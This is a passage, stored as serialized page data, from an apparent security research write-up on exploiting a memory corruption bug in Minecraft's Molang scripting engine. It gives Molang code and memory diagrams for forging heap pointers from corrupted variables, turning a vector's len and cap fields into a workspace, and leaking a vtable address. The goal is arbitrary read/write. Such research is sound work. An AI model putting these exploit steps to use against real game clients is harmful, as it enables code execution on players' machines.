the Idea",{"type":23,"tag":24,"props":153411,"children":153412},{},[153413,153415,153420,153422,153427,153428,153433,153435,153440],{"type":28,"value":153414},"As mentioned earlier, the ",{"type":23,"tag":92,"props":153416,"children":153418},{"className":153417},[],[153419],{"type":28,"value":32252},{"type":28,"value":153421}," field of ",{"type":23,"tag":92,"props":153423,"children":153425},{"className":153424},[],[153426],{"type":28,"value":152332},{"type":28,"value":14913},{"type":23,"tag":92,"props":153429,"children":153431},{"className":153430},[],[153432],{"type":28,"value":57440},{"type":28,"value":153434},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":92,"props":153436,"children":153438},{"className":153437},[],[153439],{"type":28,"value":38650},{"type":28,"value":153441}," field remain unchanged before and after Molang execution.",{"type":23,"tag":24,"props":153443,"children":153444},{},[153445,153447,153452],{"type":28,"value":153446},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":92,"props":153448,"children":153450},{"className":153449},[],[153451],{"type":28,"value":152440},{"type":28,"value":153453},"’s allocated buffer + 4.",{"type":23,"tag":24,"props":153455,"children":153456},{},[153457,153459,153464,153466,153471,153473,153478,153479,153485],{"type":28,"value":153458},"In the example below, ",{"type":23,"tag":92,"props":153460,"children":153462},{"className":153461},[],[153463],{"type":28,"value":152866},{"type":28,"value":153465}," points to ",{"type":23,"tag":92,"props":153467,"children":153469},{"className":153468},[],[153470],{"type":28,"value":152440},{"type":28,"value":153472},", while ",{"type":23,"tag":92,"props":153474,"children":153476},{"className":153475},[],[153477],{"type":28,"value":152880},{"type":28,"value":153465},{"type":23,"tag":92,"props":153480,"children":153482},{"className":153481},[],[153483],{"type":28,"value":153484},"MolangVariableMap + 4",{"type":28,"value":1697},{"type":23,"tag":87,"props":153487,"children":153489},{"code":153488},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[153490],{"type":23,"tag":92,"props":153491,"children":153492},{"__ignoreMap":7},[153493],{"type":28,"value":153488},{"type":23,"tag":24,"props":153495,"children":153496},{},[153497,153499,153504,153505,153510,153512,153517,153519,153524,153526,153531],{"type":28,"value":153498},"Here, the ",{"type":23,"tag":92,"props":153500,"children":153502},{"className":153501},[],[153503],{"type":28,"value":38650},{"type":28,"value":153421},{"type":23,"tag":92,"props":153506,"children":153508},{"className":153507},[],[153509],{"type":28,"value":152866},{"type":28,"value":153511}," starts at the lower 32 bits of the ",{"type":23,"tag":92,"props":153513,"children":153515},{"className":153514},[],[153516],{"type":28,"value":152936},{"type":28,"value":153518}," pointer, while ",{"type":23,"tag":92,"props":153520,"children":153522},{"className":153521},[],[153523],{"type":28,"value":152880},{"type":28,"value":153525}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":92,"props":153527,"children":153529},{"className":153528},[],[153530],{"type":28,"value":152936},{"type":28,"value":153532}," pointer in a separate variable:",{"type":23,"tag":87,"props":153534,"children":153536},{"code":153535},"variable.saved_upper_32 = variable.b;\n",[153537],{"type":23,"tag":92,"props":153538,"children":153539},{"__ignoreMap":7},[153540],{"type":28,"value":153535},{"type":23,"tag":24,"props":153542,"children":153543},{},[153544],{"type":28,"value":153545},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":87,"props":153547,"children":153549},{"code":153548},"variable.a = variable.a + itof(0x8);\n",[153550],{"type":23,"tag":92,"props":153551,"children":153552},{"__ignoreMap":7},[153553],{"type":28,"value":153548},{"type":23,"tag":24,"props":153555,"children":153556},{},[153557],{"type":28,"value":153558},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":87,"props":153560,"children":153562},{"code":153561},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[153563],{"type":23,"tag":92,"props":153564,"children":153565},{"__ignoreMap":7},[153566],{"type":28,"value":153561},{"type":23,"tag":24,"props":153568,"children":153569},{},[153570,153572,153577],{"type":28,"value":153571},"Since the 32 bits directly below the ",{"type":23,"tag":92,"props":153573,"children":153575},{"className":153574},[],[153576],{"type":28,"value":38650},{"type":28,"value":153578}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":87,"props":153580,"children":153582},{"code":153581},"variable.b = variable.saved_upper_32;\n",[153583],{"type":23,"tag":92,"props":153584,"children":153585},{"__ignoreMap":7},[153586],{"type":28,"value":153581},{"type":23,"tag":24,"props":153588,"children":153589},{},[153590,153592,153597],{"type":28,"value":153591},"Now ",{"type":23,"tag":92,"props":153593,"children":153595},{"className":153594},[],[153596],{"type":28,"value":152936},{"type":28,"value":153598}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":87,"props":153600,"children":153602},{"code":153601},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[153603],{"type":23,"tag":92,"props":153604,"children":153605},{"__ignoreMap":7},[153606],{"type":28,"value":153601},{"type":23,"tag":24,"props":153608,"children":153609},{},[153610,153612,153617],{"type":28,"value":153611},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":92,"props":153613,"children":153615},{"className":153614},[],[153616],{"type":28,"value":153484},{"type":28,"value":153618}," on the heap?",{"type":23,"tag":24,"props":153620,"children":153621},{},[153622,153624,153629,153631,153637],{"type":28,"value":153623},"Additionally, adding 8 to ",{"type":23,"tag":92,"props":153625,"children":153627},{"className":153626},[],[153628],{"type":28,"value":152866},{"type":28,"value":153630}," in the example above wouldn’t work because ",{"type":23,"tag":92,"props":153632,"children":153634},{"className":153633},[],[153635],{"type":28,"value":153636},"0xddccbba0",{"type":28,"value":153638}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":18368,"props":153640,"children":153642},{"id":153641},"the-final-approach",[153643],{"type":28,"value":153644},"The Final Approach",{"type":23,"tag":24,"props":153646,"children":153647},{},[153648,153650,153655,153657,153663],{"type":28,"value":153649},"We realized that instead of having the second pointer at ",{"type":23,"tag":92,"props":153651,"children":153653},{"className":153652},[],[153654],{"type":28,"value":153484},{"type":28,"value":153656},", we could instead have it at ",{"type":23,"tag":92,"props":153658,"children":153660},{"className":153659},[],[153661],{"type":28,"value":153662},"MolangVariableMap + 2",{"type":28,"value":153664},", which would resolve both of our issues.",{"type":23,"tag":24,"props":153666,"children":153667},{},[153668,153670,153675,153676,153681],{"type":28,"value":153669},"Let’s revisit the previous example, but this time ",{"type":23,"tag":92,"props":153671,"children":153673},{"className":153672},[],[153674],{"type":28,"value":152880},{"type":28,"value":153465},{"type":23,"tag":92,"props":153677,"children":153679},{"className":153678},[],[153680],{"type":28,"value":153662},{"type":28,"value":1697},{"type":23,"tag":87,"props":153683,"children":153685},{"code":153684},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[153686],{"type":23,"tag":92,"props":153687,"children":153688},{"__ignoreMap":7},[153689],{"type":28,"value":153684},{"type":23,"tag":24,"props":153691,"children":153692},{},[153693,153695,153700],{"type":28,"value":153694},"With this setup, we can calculate any address relative to ",{"type":23,"tag":92,"props":153696,"children":153698},{"className":153697},[],[153699],{"type":28,"value":152936},{"type":28,"value":153701}," by first saving the upper 48 bits of the address:",{"type":23,"tag":87,"props":153703,"children":153705},{"code":153704},"variable.saved_upper_48 = variable.b;\n",[153706],{"type":23,"tag":92,"props":153707,"children":153708},{"__ignoreMap":7},[153709],{"type":28,"value":153704},{"type":23,"tag":24,"props":153711,"children":153712},{},[153713,153714,153720,153722,153728],{"type":28,"value":129342},{"type":23,"tag":92,"props":153715,"children":153717},{"className":153716},[],[153718],{"type":28,"value":153719},"variable.saved_upper_48",{"type":28,"value":153721}," holds the value ",{"type":23,"tag":92,"props":153723,"children":153725},{"className":153724},[],[153726],{"type":28,"value":153727},"0x1c80ddcc",{"type":28,"value":720},{"type":23,"tag":24,"props":153730,"children":153731},{},[153732],{"type":28,"value":153733},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":87,"props":153735,"children":153737},{"code":153736},"variable.b = 0;\n",[153738],{"type":23,"tag":92,"props":153739,"children":153740},{"__ignoreMap":7},[153741],{"type":28,"value":153736},{"type":23,"tag":24,"props":153743,"children":153744},{},[153745],{"type":28,"value":153746},"Resulting in the following state:",{"type":23,"tag":87,"props":153748,"children":153750},{"code":153749},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[153751],{"type":23,"tag":92,"props":153752,"children":153753},{"__ignoreMap":7},[153754],{"type":28,"value":153749},{"type":23,"tag":24,"props":153756,"children":153757},{},[153758,153760,153765,153767,153773,153775,153780],{"type":28,"value":153759},"Now, the value of ",{"type":23,"tag":92,"props":153761,"children":153763},{"className":153762},[],[153764],{"type":28,"value":152866},{"type":28,"value":153766}," only spans 16 bits (",{"type":23,"tag":92,"props":153768,"children":153770},{"className":153769},[],[153771],{"type":28,"value":153772},"0xbba0",{"type":28,"value":153774}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":92,"props":153776,"children":153778},{"className":153777},[],[153779],{"type":28,"value":153364},{"type":28,"value":720},{"type":23,"tag":24,"props":153782,"children":153783},{},[153784,153786,153791],{"type":28,"value":153785},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":92,"props":153787,"children":153789},{"className":153788},[],[153790],{"type":28,"value":152866},{"type":28,"value":1697},{"type":23,"tag":87,"props":153793,"children":153794},{"code":153548},[153795],{"type":23,"tag":92,"props":153796,"children":153797},{"__ignoreMap":7},[153798],{"type":28,"value":153548},{"type":23,"tag":24,"props":153800,"children":153801},{},[153802],{"type":28,"value":153803},"Which results in:",{"type":23,"tag":87,"props":153805,"children":153807},{"code":153806},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[153808],{"type":23,"tag":92,"props":153809,"children":153810},{"__ignoreMap":7},[153811],{"type":28,"value":153806},{"type":23,"tag":24,"props":153813,"children":153814},{},[153815],{"type":28,"value":153816},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":87,"props":153818,"children":153820},{"code":153819},"variable.b = variable.saved_upper_48;\n",[153821],{"type":23,"tag":92,"props":153822,"children":153823},{"__ignoreMap":7},[153824],{"type":28,"value":153819},{"type":23,"tag":24,"props":153826,"children":153827},{},[153828],{"type":28,"value":153829},"Yielding a valid pointer again:",{"type":23,"tag":87,"props":153831,"children":153833},{"code":153832},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[153834],{"type":23,"tag":92,"props":153835,"children":153836},{"__ignoreMap":7},[153837],{"type":28,"value":153832},{"type":23,"tag":24,"props":153839,"children":153840},{},[153841],{"type":28,"value":153842},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":87,"props":153844,"children":153846},{"code":153845},"variable.saved_adjusted_lower_16 = variable.a;\n",[153847],{"type":23,"tag":92,"props":153848,"children":153849},{"__ignoreMap":7},[153850],{"type":28,"value":153845},{"type":23,"tag":24,"props":153852,"children":153853},{},[153854],{"type":28,"value":153855},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":87,"props":153857,"children":153859},{"code":153858},"variable.a = variable.saved_upper_48;\n",[153860],{"type":23,"tag":92,"props":153861,"children":153862},{"__ignoreMap":7},[153863],{"type":28,"value":153858},{"type":23,"tag":24,"props":153865,"children":153866},{},[153867],{"type":28,"value":153868},"This produces the following state:",{"type":23,"tag":87,"props":153870,"children":153872},{"code":153871},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[153873],{"type":23,"tag":92,"props":153874,"children":153875},{"__ignoreMap":7},[153876],{"type":28,"value":153871},{"type":23,"tag":24,"props":153878,"children":153879},{},[153880,153882,153887,153889,153895,153897,153903,153905,153910,153912,153917],{"type":28,"value":153881},"As shown, ",{"type":23,"tag":92,"props":153883,"children":153885},{"className":153884},[],[153886],{"type":28,"value":152880},{"type":28,"value":153888}," now contains the upper 16 bits of the address (",{"type":23,"tag":92,"props":153890,"children":153892},{"className":153891},[],[153893],{"type":28,"value":153894},"0x1c80",{"type":28,"value":153896},"), which we can store as ",{"type":23,"tag":92,"props":153898,"children":153900},{"className":153899},[],[153901],{"type":28,"value":153902},"variable.saved_upper_16 = variable.b",{"type":28,"value":153904},". Meanwhile, ",{"type":23,"tag":92,"props":153906,"children":153908},{"className":153907},[],[153909],{"type":28,"value":152866},{"type":28,"value":153911}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":92,"props":153913,"children":153915},{"className":153914},[],[153916],{"type":28,"value":152880},{"type":28,"value":1697},{"type":23,"tag":87,"props":153919,"children":153920},{"code":153736},[153921],{"type":23,"tag":92,"props":153922,"children":153923},{"__ignoreMap":7},[153924],{"type":28,"value":153736},{"type":23,"tag":24,"props":153926,"children":153927},{},[153928],{"type":28,"value":153929},"Leaving us with:",{"type":23,"tag":87,"props":153931,"children":153933},{"code":153932},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[153934],{"type":23,"tag":92,"props":153935,"children":153936},{"__ignoreMap":7},[153937],{"type":28,"value":153932},{"type":23,"tag":24,"props":153939,"children":153940},{},[153941],{"type":28,"value":153942},"We can now save the middle 16 bits:",{"type":23,"tag":87,"props":153944,"children":153946},{"code":153945},"variable.saved_middle_16 = variable.a;\n",[153947],{"type":23,"tag":92,"props":153948,"children":153949},{"__ignoreMap":7},[153950],{"type":28,"value":153945},{"type":23,"tag":24,"props":153952,"children":153953},{},[153954],{"type":28,"value":153955},"At this point, we have:",{"type":23,"tag":87,"props":153957,"children":153959},{"code":153958},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[153960],{"type":23,"tag":92,"props":153961,"children":153962},{"__ignoreMap":7},[153963],{"type":28,"value":153958},{"type":23,"tag":24,"props":153965,"children":153966},{},[153967],{"type":28,"value":153968},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":24,"props":153970,"children":153971},{},[153972],{"type":28,"value":153973},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":87,"props":153975,"children":153977},{"code":153976},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[153978],{"type":23,"tag":92,"props":153979,"children":153980},{"__ignoreMap":7},[153981],{"type":28,"value":153976},{"type":23,"tag":24,"props":153983,"children":153984},{},[153985],{"type":28,"value":153986},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":87,"props":153988,"children":153990},{"code":153989},"variable.a = variable.saved_adjusted_middle_16;\n",[153991],{"type":23,"tag":92,"props":153992,"children":153993},{"__ignoreMap":7},[153994],{"type":28,"value":153989},{"type":23,"tag":24,"props":153996,"children":153997},{},[153998,154000,154005,154006,154012,154013,154019],{"type":28,"value":153999},"Setting ",{"type":23,"tag":92,"props":154001,"children":154003},{"className":154002},[],[154004],{"type":28,"value":152866},{"type":28,"value":56283},{"type":23,"tag":92,"props":154007,"children":154009},{"className":154008},[],[154010],{"type":28,"value":154011},"0xddcd",{"type":28,"value":232},{"type":23,"tag":92,"props":154014,"children":154016},{"className":154015},[],[154017],{"type":28,"value":154018},"0xddcc + 1",{"type":28,"value":154020},"), and then:",{"type":23,"tag":87,"props":154022,"children":154024},{"code":154023},"variable.b = variable.saved_adjusted_upper_16;\n",[154025],{"type":23,"tag":92,"props":154026,"children":154027},{"__ignoreMap":7},[154028],{"type":28,"value":154023},{"type":23,"tag":24,"props":154030,"children":154031},{},[154032,154034,154039,154041,154047,154048,154054],{"type":28,"value":154033},"Resulting in ",{"type":23,"tag":92,"props":154035,"children":154037},{"className":154036},[],[154038],{"type":28,"value":152880},{"type":28,"value":154040}," value becoming ",{"type":23,"tag":92,"props":154042,"children":154044},{"className":154043},[],[154045],{"type":28,"value":154046},"0x1c81",{"type":28,"value":232},{"type":23,"tag":92,"props":154049,"children":154051},{"className":154050},[],[154052],{"type":28,"value":154053},"0x1c80 + 1",{"type":28,"value":23436},{"type":23,"tag":87,"props":154056,"children":154058},{"code":154057},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154059],{"type":23,"tag":92,"props":154060,"children":154061},{"__ignoreMap":7},[154062],{"type":28,"value":154057},{"type":23,"tag":24,"props":154064,"children":154065},{},[154066],{"type":28,"value":154067},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":87,"props":154069,"children":154071},{"code":154070},"variable.saved_adjusted_upper_48 = variable.a;\n",[154072],{"type":23,"tag":92,"props":154073,"children":154074},{"__ignoreMap":7},[154075],{"type":28,"value":154070},{"type":23,"tag":24,"props":154077,"children":154078},{},[154079],{"type":28,"value":154080},"Finally, we attach the lower 16 bits:",{"type":23,"tag":87,"props":154082,"children":154084},{"code":154083},"variable.a = variable.saved_adjusted_lower_16;\n",[154085],{"type":23,"tag":92,"props":154086,"children":154087},{"__ignoreMap":7},[154088],{"type":28,"value":154083},{"type":23,"tag":87,"props":154090,"children":154092},{"code":154091},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154093],{"type":23,"tag":92,"props":154094,"children":154095},{"__ignoreMap":7},[154096],{"type":28,"value":154091},{"type":23,"tag":24,"props":154098,"children":154099},{},[154100],{"type":28,"value":154101},"And by setting:",{"type":23,"tag":87,"props":154103,"children":154105},{"code":154104},"variable.b = variable.saved_adjusted_upper_48;\n",[154106],{"type":23,"tag":92,"props":154107,"children":154108},{"__ignoreMap":7},[154109],{"type":28,"value":154104},{"type":23,"tag":24,"props":154111,"children":154112},{},[154113],{"type":28,"value":154114},"We forge the final adjusted pointer:",{"type":23,"tag":87,"props":154116,"children":154118},{"code":154117},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154119],{"type":23,"tag":92,"props":154120,"children":154121},{"__ignoreMap":7},[154122],{"type":28,"value":154117},{"type":23,"tag":18268,"props":154124,"children":154125},{},[],{"type":23,"tag":24,"props":154127,"children":154128},{},[154129,154131,154136],{"type":28,"value":154130},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":92,"props":154132,"children":154134},{"className":154133},[],[154135],{"type":28,"value":153662},{"type":28,"value":153618},{"type":23,"tag":24,"props":154138,"children":154139},{},[154140,154142,154147,154149,154154,154156,154162,154164,154169],{"type":28,"value":154141},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":92,"props":154143,"children":154145},{"className":154144},[],[154146],{"type":28,"value":153662},{"type":28,"value":154148},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":92,"props":154150,"children":154152},{"className":154151},[],[154153],{"type":28,"value":30181},{"type":28,"value":154155}," and the other to ",{"type":23,"tag":92,"props":154157,"children":154159},{"className":154158},[],[154160],{"type":28,"value":154161},"addr + 2",{"type":28,"value":154163}," (as long as ",{"type":23,"tag":92,"props":154165,"children":154167},{"className":154166},[],[154168],{"type":28,"value":30181},{"type":28,"value":154170}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":24,"props":154172,"children":154173},{},[154174,154176,154181,154182,154187],{"type":28,"value":154175},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":92,"props":154177,"children":154179},{"className":154178},[],[154180],{"type":28,"value":149636},{"type":28,"value":153421},{"type":23,"tag":92,"props":154183,"children":154185},{"className":154184},[],[154186],{"type":28,"value":152440},{"type":28,"value":154188}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":87,"props":154190,"children":154192},{"code":154191},"variable.corrupted_var_map_ptr = variable.a;\n",[154193],{"type":23,"tag":92,"props":154194,"children":154195},{"__ignoreMap":7},[154196],{"type":28,"value":154191},{"type":23,"tag":24,"props":154198,"children":154199},{},[154200,154202,154207,154209,154215],{"type":28,"value":154201},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":92,"props":154203,"children":154205},{"className":154204},[],[154206],{"type":28,"value":38650},{"type":28,"value":154208}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":92,"props":154210,"children":154212},{"className":154211},[],[154213],{"type":28,"value":154214},"variable.corrupted_var_map_ptr",{"type":28,"value":154216},", even though the type itself is only a 32-bit float.",{"type":23,"tag":18368,"props":154218,"children":154220},{"id":154219},"finding-misaligned-pointers",[154221],{"type":28,"value":154222},"Finding Misaligned Pointers",{"type":23,"tag":24,"props":154224,"children":154225},{},[154226,154228,154233,154234,154240],{"type":28,"value":154227},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":92,"props":154229,"children":154231},{"className":154230},[],[154232],{"type":28,"value":13417},{"type":28,"value":10458},{"type":23,"tag":92,"props":154235,"children":154237},{"className":154236},[],[154238],{"type":28,"value":154239},"ptr + 2",{"type":28,"value":154241},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":24,"props":154243,"children":154244},{},[154245,154250,154251,154256,154258,154263,154265,154270,154272,154277,154279,154284,154286,154292,154293,154298],{"type":23,"tag":92,"props":154246,"children":154248},{"className":154247},[],[154249],{"type":28,"value":152616},{"type":28,"value":14913},{"type":23,"tag":92,"props":154252,"children":154254},{"className":154253},[],[154255],{"type":28,"value":152639},{"type":28,"value":154257}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":92,"props":154259,"children":154261},{"className":154260},[],[154262],{"type":28,"value":152470},{"type":28,"value":154264}," contains three pointers: ",{"type":23,"tag":92,"props":154266,"children":154268},{"className":154267},[],[154269],{"type":28,"value":149636},{"type":28,"value":154271}," (the start of the allocated buffer), ",{"type":23,"tag":92,"props":154273,"children":154275},{"className":154274},[],[154276],{"type":28,"value":8601},{"type":28,"value":154278}," (just past the last element) and ",{"type":23,"tag":92,"props":154280,"children":154282},{"className":154281},[],[154283],{"type":28,"value":152569},{"type":28,"value":154285}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":92,"props":154287,"children":154289},{"className":154288},[],[154290],{"type":28,"value":154291},"uint16_t",{"type":28,"value":101809},{"type":23,"tag":92,"props":154294,"children":154296},{"className":154295},[],[154297],{"type":28,"value":8601},{"type":28,"value":154299}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":24,"props":154301,"children":154302},{},[154303,154305,154310,154312,154318],{"type":28,"value":154304},"We can make the ",{"type":23,"tag":92,"props":154306,"children":154308},{"className":154307},[],[154309],{"type":28,"value":8601},{"type":28,"value":154311}," pointer equal to ",{"type":23,"tag":92,"props":154313,"children":154315},{"className":154314},[],[154316],{"type":28,"value":154317},"cap - 2",{"type":28,"value":154319}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":87,"props":154321,"children":154323},{"code":154322},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[154324],{"type":23,"tag":92,"props":154325,"children":154326},{"__ignoreMap":7},[154327],{"type":28,"value":154322},{"type":23,"tag":18268,"props":154329,"children":154330},{},[],{"type":23,"tag":24,"props":154332,"children":154333},{},[154334,154336,154341,154343,154348,154350,154355,154357,154362,154363,154368],{"type":28,"value":154335},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":92,"props":154337,"children":154339},{"className":154338},[],[154340],{"type":28,"value":149636},{"type":28,"value":154342}," pointer of ",{"type":23,"tag":92,"props":154344,"children":154346},{"className":154345},[],[154347],{"type":28,"value":152440},{"type":28,"value":154349}," in the entity object above, one that would index ",{"type":23,"tag":92,"props":154351,"children":154353},{"className":154352},[],[154354],{"type":28,"value":8601},{"type":28,"value":154356}," and the final ",{"type":23,"tag":92,"props":154358,"children":154360},{"className":154359},[],[154361],{"type":28,"value":152569},{"type":28,"value":154342},{"type":23,"tag":92,"props":154364,"children":154366},{"className":154365},[],[154367],{"type":28,"value":152616},{"type":28,"value":154369}," also in the same entity object above.",{"type":23,"tag":24,"props":154371,"children":154372},{},[154373,154375,154381,154382,154388,154390,154395,154396,154401,154403,154408,154410,154415,154416,154421,154423,154428],{"type":28,"value":154374},"The corrupted variables ",{"type":23,"tag":92,"props":154376,"children":154378},{"className":154377},[],[154379],{"type":28,"value":154380},"variable.corrupted_len_ptr",{"type":28,"value":10458},{"type":23,"tag":92,"props":154383,"children":154385},{"className":154384},[],[154386],{"type":28,"value":154387},"variable.corrupted_cap_ptr",{"type":28,"value":154389}," point to ",{"type":23,"tag":92,"props":154391,"children":154393},{"className":154392},[],[154394],{"type":28,"value":8601},{"type":28,"value":10458},{"type":23,"tag":92,"props":154397,"children":154399},{"className":154398},[],[154400],{"type":28,"value":152569},{"type":28,"value":154402},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":92,"props":154404,"children":154406},{"className":154405},[],[154407],{"type":28,"value":154214},{"type":28,"value":154409},", points to the ",{"type":23,"tag":92,"props":154411,"children":154413},{"className":154412},[],[154414],{"type":28,"value":149636},{"type":28,"value":153421},{"type":23,"tag":92,"props":154417,"children":154419},{"className":154418},[],[154420],{"type":28,"value":152440},{"type":28,"value":154422},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":92,"props":154424,"children":154426},{"className":154425},[],[154427],{"type":28,"value":152440},{"type":28,"value":154429},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":24,"props":154431,"children":154432},{},[154433],{"type":28,"value":154434},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":18368,"props":154436,"children":154438},{"id":154437},"leaking-pointers",[154439],{"type":28,"value":154440},"Leaking Pointers",{"type":23,"tag":24,"props":154442,"children":154443},{},[154444,154446,154452],{"type":28,"value":154445},"In C++, an object’s first field is typically a ",{"type":23,"tag":92,"props":154447,"children":154449},{"className":154448},[],[154450],{"type":28,"value":154451},"vtable",{"type":28,"value":154453}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":87,"props":154455,"children":154457},{"code":154456},"                                 Entity Object       \n                                                     \n                 